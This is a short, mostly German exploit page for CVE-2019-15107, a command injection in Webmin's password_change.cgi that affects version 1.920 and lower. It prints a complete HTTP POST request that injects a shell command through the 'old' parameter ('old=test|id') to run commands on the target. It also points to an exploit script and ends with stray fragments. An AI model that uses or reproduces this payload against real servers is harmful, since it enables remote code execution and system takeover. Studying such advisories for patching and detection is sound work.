CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin

Schwachstellenbeschreibung Webmin ist ein leistungsstarkes webbasiertes Systemverwaltungstool, das häufig in Unix-Systemen eingesetzt wird. Aufgrund eines Befehlsinjektionsfehlers im Parameter old in Password_Change.cgi bei der Verarbeitung von Anfragen kann dieser von Angreifern ausgenutzt werden. Wenn der Benutzer die Passwortzurücksetzungsfunktion von Webmin aktiviert hat, kann ein Angreifer über diese Schwachstelle beliebige Befehle auf dem anfälligen System ausführen und so eine System-Shell erlangen.

Betroffene Versionen: Webmin 1.920 und niedriger

Schwachstellenausnutzung Methode 1: Manuelle Überprüfung Rufen Sie die Seite auf, ignorieren Sie das Zertifikat, und Sie sehen die Webmin-Anmeldeseite

Senden Sie das folgende Paket, um den Befehl id auszuführen:

POST /password_change.cgi HTTP/1.1 Host: your-ip:10000 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: https://your-ip:10000/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2 step 2

Methode 2: Verwendung eines Skripts step 3

WebminRCE-EXP-CVE-2019-15107-

Beliebteste